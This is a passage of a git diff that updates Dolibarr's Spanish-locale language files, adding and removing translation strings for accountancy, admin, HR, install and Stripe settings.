      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/es_HN/hrm.lang b/htdocs/langs/es_HN/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_HN/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_HN/install.lang b/htdocs/langs/es_HN/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/es_HN/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/es_HN/propal.lang b/htdocs/langs/es_HN/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/es_HN/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/es_HN/stripe.lang b/htdocs/langs/es_HN/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_HN/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_MX/accountancy.lang b/htdocs/langs/es_MX/accountancy.lang index ef79a5fabff..30bd464f5a7 100644 --- a/htdocs/langs/es_MX/accountancy.lang +++ b/htdocs/langs/es_MX/accountancy.lang @@ -4,7 +4,6 @@ ACCOUNTING_EXPORT_DATE=Formato de fecha para el archivo de exportación ACCOUNTING_EXPORT_PIECE=Exportar el número de pieza ACCOUNTING_EXPORT_GLOBAL_ACCOUNT=Exportación con cuenta global ACCOUNTING_EXPORT_ENDLINE=Seleccione el estilo del salto de línea -DefaultForService=Predeterminado para servicio Chartofaccounts=Gráfico de cuentas CurrentDedicatedAccountingAccount=Cuenta actual dedicada  AssignDedicatedAccountingAccount=Nueva cuenta para asignar @@ -24,20 +23,15 @@ MainAccountForVatPaymentNotDefined=Cuenta contable principal para el pago del IV MainAccountForSubscriptionPaymentNotDefined=Cuenta contable principal para el pago de suscripción no definida en la configuración AccountancyArea=Área contable AccountancyAreaDescActionOnce=Las siguientes acciones generalmente se ejecutan una sola vez, o una vez al año ... -AccountancyAreaDescActionOnceBis=Deben realizarse los siguientes pasos para ahorrarle tiempo en el futuro sugiriéndole la cuenta contable predeterminada correcta al realizar la periodización (registro de escritura en diarios y libro mayor) AccountancyAreaDescActionFreq=Las siguientes acciones generalmente se ejecutan cada mes, semana o día para empresas muy grandes ... -AccountancyAreaDescJournalSetup=PASO %s: Cree o verifique el contenido de su lista de diario desde el menú %s AccountancyAreaDescVat=PASO %s: Defina cuentas contables para cada tipo de IVA. Para esto, use la entrada del menú %s. AccountancyAreaDescDefault=PASO %s: Defina cuentas contables predeterminadas. Para esto, use la entrada del menú %s. -AccountancyAreaDescExpenseReport=PASO %s: Defina cuentas contables predeterminadas para cada tipo de reporte de gastos. Para esto, use la entrada del menú %s. AccountancyAreaDescSal=PASO %s: Defina cuentas contables predeterminadas para el pago de salarios. Para esto, use la entrada del menú %s. -AccountancyAreaDescContrib=PASO %s: Defina cuentas contables predeterminadas para gastos especiales (impuestos varios). Para esto, use la entrada del menú %s. AccountancyAreaDescDonation=PASO %s: Defina cuentas contables predeterminadas para donaciones. Para esto, use la entrada del menú %s. AccountancyAreaDescSubscription=PASO %s: Defina cuentas contables predeterminadas para la suscripción de miembros. Para esto, use la entrada del menú %s. AccountancyAreaDescMisc=PASO %s: Defina la cuenta predeterminada obligatoria y las cuentas contables predeterminadas para transacciones misceláneas. Para esto, use la entrada del menú %s. AccountancyAreaDescLoan=PASO %s: Defina cuentas contables predeterminadas para préstamos. Para esto, use la entrada del menú %s. AccountancyAreaDescBank=PASO %s: Defina las cuentas contables y el código de diario para cada banco y cuentas financieras. Para esto, use la entrada del menú %s. -AccountancyAreaDescProd=PASO %s: Defina cuentas contables en sus productos / servicios. Para esto, use la entrada del menú %s. AccountancyAreaDescBind=PASO %s: Compruebe el enlace entre las líneas %s existentes y la cuenta de contabilidad está terminada, para que la aplicación pueda registrar las transacciones en el libro mayor en un solo clic. Complete los enlaces que falten. Para ello, utilice la entrada de menú %s. AccountancyAreaDescWriteRecords=PASO %s: Escriba las transacciones en el libro mayor. Para esto, vaya al menú %s , y haga clic en el botón %s . AccountancyAreaDescAnalyze=PASO %s: Agregue o edite transacciones existentes y genere informes y exportaciones. @@ -82,26 +76,16 @@ XLineFailedToBeBinded=%s productos / servicios no estaban vinculados a ninguna c ACCOUNTING_LIST_SORT_VENTILATION_TODO=Comience la ordenación de la página "Enlazar para hacer" por los elementos más recientes ACCOUNTING_LIST_SORT_VENTILATION_DONE=Comience la ordenación de la página "Enlace realizado" por los elementos más recientes BANK_DISABLE_DIRECT_INPUT=Deshabilitar el registro directo de la transacción en la cuenta bancaria -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diario de varios ACCOUNTING_EXPENSEREPORT_JOURNAL=Diario de reporte de gastos -ACCOUNTING_SOCIAL_JOURNAL=Diario Social ACCOUNTING_HAS_NEW_JOURNAL=Tiene nuevo diario +ACCOUNTING_SOCIAL_JOURNAL=Diario Social ACCOUNTING_RESULT_PROFIT=Cuenta contable de resultados (Ganancia) ACCOUNTING_RESULT_LOSS=Cuenta contable de resultados (Pérdida) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Cierre Diario -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Cuenta contable de transferencia bancaria transitoria TransitionalAccount=Cuenta de transferencia bancaria transitoria -ACCOUNTING_ACCOUNT_SUSPENSE=Cuenta contable de espera -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Cuenta contable para registrar suscripciones -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Cuenta contable por defecto para los productos comprados (se usa si no se define en la hoja de productos) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Cuenta contable por defecto para los productos comprados en EEC (se usa si no se define en la hoja de productos) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Cuenta contable por defecto para los productos comprados e importados fuera de la EEC (usado si no está definido en la hoja de productos) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Cuenta contable por defecto para los productos vendidos (si no ha sido definida en la hoja \nproducto) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Cuenta contable por defecto para los productos vendidos en la EEC (utilizada si no se define en la hoja de producto) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Cuenta contable por defecto para los productos vendidos y exportados fuera de la EEC (usado si no está definido en la hoja de producto) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Cuenta contable por defecto para los servicios comprados (si no ha sido definida en la hoja \nservicio) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Cuenta contable por defecto para los servicios vendidos (si no ha sido definida en la hoja servicio) LabelAccount=Descripción de la cuenta +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts DelYear=Año a borrar DelJournal=Diario a borrar DescFinanceJournal=Diario financiero incluyendo todos los tipos de pagos por cuenta bancaria @@ -115,10 +99,9 @@ Reconcilable=Conciliable TotalVente=Facturación total antes de impuestos TotalMarge=Margen de ventas total DescVentilExpenseReport=Consulte aquí la lista de líneas de reporte de gastos vinculadas (o no) a una cuenta de contabilidad de comisiones -ErrorAccountancyCodeIsAlreadyUse=Error, no es posible eliminar ésta cuenta contable porque está siendo usada ShowTutorial=Mostrar Tutorial AccountingJournal=Diario de contabilidad -AccountingJournalType5=Informe de gastos +AccountingJournalType5=Reporte de gastos AccountingJournalType9=Tiene nuevo ErrorAccountingJournalIsAlreadyUse=Este diario ya está en uso ExportDraftJournal=Exportar borrador de diario diff --git a/htdocs/langs/es_MX/admin.lang b/htdocs/langs/es_MX/admin.lang index 4097de49b9f..b0fe6be2f6a 100644 --- a/htdocs/langs/es_MX/admin.lang +++ b/htdocs/langs/es_MX/admin.lang @@ -272,8 +272,6 @@ AllPublishers=Todos los editores AddMenus=Añadir menús AddPermissions=Añadir permisos CodeLastResult=Último código de resultado -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      ShowProjectLabel=Etiqueta de proyecto TemplateAdded=Plantilla agregada MailToSendEventOrganization=Organización de Eventos diff --git a/htdocs/langs/es_MX/hrm.lang b/htdocs/langs/es_MX/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_MX/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_MX/main.lang b/htdocs/langs/es_MX/main.lang index 62d1df1d2c1..02d95c7f932 100644 --- a/htdocs/langs/es_MX/main.lang +++ b/htdocs/langs/es_MX/main.lang @@ -109,6 +109,7 @@ Hide=Ocultar ShowCardHere=Ver la ficha QuickAdd=Adición rápida Valid=Válido +OpenVerb=Abierta Upload=Cargar ToLink=Vínculo ResizeOrCrop=Redimensionar o Recortar @@ -321,6 +322,7 @@ SearchIntoSupplierOrders=Ordenes de compra SearchIntoCustomerProposals=Propuestas comerciales SearchIntoSupplierProposals=Presupuestos de Proveedor SearchIntoExpenseReports=Reporte de gastos +SearchIntoVendorPayments=Pagos al proveedor SearchIntoMiscPayments=Varios pagos AssignedTo=Asignado a ToProcess=Procesar @@ -328,3 +330,4 @@ ContactDefault_agenda=Evento ContactDefault_order_supplier=Orden de compra ContactDefault_propal=Cotización ClientTZ=Zona Horaria cliente (usuario) +Terminate=Terminar diff --git a/htdocs/langs/es_MX/stripe.lang b/htdocs/langs/es_MX/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_MX/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_PA/admin.lang b/htdocs/langs/es_PA/admin.lang index 7a1aa3e37f8..192f55e8e56 100644 --- a/htdocs/langs/es_PA/admin.lang +++ b/htdocs/langs/es_PA/admin.lang @@ -1,6 +1,5 @@ # Dolibarr language file - Source file is en_US - admin VersionUnknown=Desconocido OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/es_PA/hrm.lang b/htdocs/langs/es_PA/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_PA/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_PA/install.lang b/htdocs/langs/es_PA/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/es_PA/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/es_PA/propal.lang b/htdocs/langs/es_PA/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/es_PA/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/es_PA/stripe.lang b/htdocs/langs/es_PA/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_PA/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_PE/accountancy.lang b/htdocs/langs/es_PE/accountancy.lang index 2cc89dfcbf1..b7e61c4a997 100644 --- a/htdocs/langs/es_PE/accountancy.lang +++ b/htdocs/langs/es_PE/accountancy.lang @@ -9,8 +9,6 @@ ACCOUNTING_EXPORT_AMOUNT=Monto de exportación ACCOUNTING_EXPORT_DEVISE=Moneda de exportación ACCOUNTING_EXPORT_ENDLINE=Seleccionar el tipo de retorno de carro ACCOUNTING_EXPORT_PREFIX_SPEC=Especifique el prefijo del nombre del fichero -DefaultForService=Servicio por defecto -DefaultForProduct=Producto por defecto Journals=Revistas JournalFinancial=Revistas financieras BackToChartofaccounts=Retornar gráfico de cuentas @@ -34,12 +32,10 @@ ACCOUNTING_LIST_SORT_VENTILATION_DONE=Comienza la clasificación de la página " ACCOUNTING_LENGTH_DESCRIPTION=Truncar la descripción de los productos y servicios en los listados después de los caracteres x (mejor = 50) ACCOUNTING_LENGTH_DESCRIPTION_ACCOUNT=Truncar el formulario de descripción de la cuenta de producto y servicios en los listados después de los caracteres x (mejor = 50) ACCOUNTING_LENGTH_GACCOUNT=Longitud de las cuentas de contabilidad general (si establece el valor a 6 aquí, la cuenta '706' aparecerá como '706000' en la pantalla) -ACCOUNTING_SELL_JOURNAL=Diario de Venta -ACCOUNTING_PURCHASE_JOURNAL=Diario de Compra -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diario diverso ACCOUNTING_EXPENSEREPORT_JOURNAL=Informe de Gastos Diario ACCOUNTING_SOCIAL_JOURNAL=Diario Social -ACCOUNTING_ACCOUNT_SUSPENSE=Cuenta contable de espera Codejournal=Periódico +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts FinanceJournal=Periodo Financiero TotalMarge=Margen total de ventas diff --git a/htdocs/langs/es_PE/admin.lang b/htdocs/langs/es_PE/admin.lang index 34a13d1f06f..0d34be258dc 100644 --- a/htdocs/langs/es_PE/admin.lang +++ b/htdocs/langs/es_PE/admin.lang @@ -10,6 +10,5 @@ UnitPriceOfProduct=Precio unitario sin IGV de un producto OptionVatMode=IGV adeudado MailToSendInvoice=Facturas de Clientes OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/es_PE/hrm.lang b/htdocs/langs/es_PE/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_PE/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_PE/install.lang b/htdocs/langs/es_PE/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/es_PE/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/es_PE/main.lang b/htdocs/langs/es_PE/main.lang index da0ff47ca90..605eea23aee 100644 --- a/htdocs/langs/es_PE/main.lang +++ b/htdocs/langs/es_PE/main.lang @@ -49,6 +49,7 @@ Run=Ejecutar Show=Mostrar Hide=Ocultar SearchOf=Buscar +OpenVerb=Abrir Upload=Subir AmountVAT=Importe impuesto MulticurrencyAmountVAT=Importe impuesto, moneda original @@ -72,3 +73,4 @@ ContactDefault_invoice_supplier=Factura de Proveedor ContactDefault_order_supplier=Orden de Compra ContactDefault_propal=Cotización ContactDefault_supplier_proposal=Cotización de Proveedor +Terminate=Terminar diff --git a/htdocs/langs/es_PE/mrp.lang b/htdocs/langs/es_PE/mrp.lang index e4ded5756ef..6c1c12763f6 100644 --- a/htdocs/langs/es_PE/mrp.lang +++ b/htdocs/langs/es_PE/mrp.lang @@ -11,8 +11,7 @@ LatestMOModified=Últimas %s Órdenes de Fabricación modificadas Bom=Listas de Material BillOfMaterials=Lista de Materiales BillOfMaterialsLines=Lineas de Lista de Materiales -ListOfBOMs=Listado de Lista De Material - BOM -ListOfManufacturingOrders=Lista de Órdenes de Fabricación +ListOfManufacturingOrders=Órdenes de Fabricación BOMsNumberingModules=Plantillas de numeración BOM BOMsModelModule=Plantillas de documento BOM MOsNumberingModules=Numeración de plantillas MO diff --git a/htdocs/langs/es_PE/salaries.lang b/htdocs/langs/es_PE/salaries.lang deleted file mode 100644 index f7ca43beb1f..00000000000 --- a/htdocs/langs/es_PE/salaries.lang +++ /dev/null @@ -1,2 +0,0 @@ -# Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Cuenta contable usada por el usuario del tercero diff --git a/htdocs/langs/es_PE/stripe.lang b/htdocs/langs/es_PE/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_PE/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_PY/admin.lang b/htdocs/langs/es_PY/admin.lang index c5ab56cb8d8..4117e853156 100644 --- a/htdocs/langs/es_PY/admin.lang +++ b/htdocs/langs/es_PY/admin.lang @@ -1,5 +1,4 @@ # Dolibarr language file - Source file is en_US - admin OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/es_PY/hrm.lang b/htdocs/langs/es_PY/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_PY/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_PY/install.lang b/htdocs/langs/es_PY/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/es_PY/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/es_PY/propal.lang b/htdocs/langs/es_PY/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/es_PY/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/es_PY/stripe.lang b/htdocs/langs/es_PY/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_PY/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_US/admin.lang b/htdocs/langs/es_US/admin.lang index f59ee2569c5..4117e853156 100644 --- a/htdocs/langs/es_US/admin.lang +++ b/htdocs/langs/es_US/admin.lang @@ -1,6 +1,4 @@ # Dolibarr language file - Source file is en_US - admin OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax -AllowExternalDownload=Allow external download diff --git a/htdocs/langs/es_US/hrm.lang b/htdocs/langs/es_US/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_US/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_US/install.lang b/htdocs/langs/es_US/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/es_US/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/es_US/propal.lang b/htdocs/langs/es_US/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/es_US/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/es_US/stripe.lang b/htdocs/langs/es_US/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_US/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_UY/admin.lang b/htdocs/langs/es_UY/admin.lang index c5ab56cb8d8..4117e853156 100644 --- a/htdocs/langs/es_UY/admin.lang +++ b/htdocs/langs/es_UY/admin.lang @@ -1,5 +1,4 @@ # Dolibarr language file - Source file is en_US - admin OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/es_UY/hrm.lang b/htdocs/langs/es_UY/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_UY/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_UY/install.lang b/htdocs/langs/es_UY/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/es_UY/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/es_UY/propal.lang b/htdocs/langs/es_UY/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/es_UY/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/es_UY/stripe.lang b/htdocs/langs/es_UY/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_UY/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_VE/accountancy.lang b/htdocs/langs/es_VE/accountancy.lang index f860205b216..cf74ffb05a8 100644 --- a/htdocs/langs/es_VE/accountancy.lang +++ b/htdocs/langs/es_VE/accountancy.lang @@ -1,2 +1,3 @@ # Dolibarr language file - Source file is en_US - accountancy -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts diff --git a/htdocs/langs/es_VE/admin.lang b/htdocs/langs/es_VE/admin.lang index 5ac3d8e921b..f3aeaf2ce7c 100644 --- 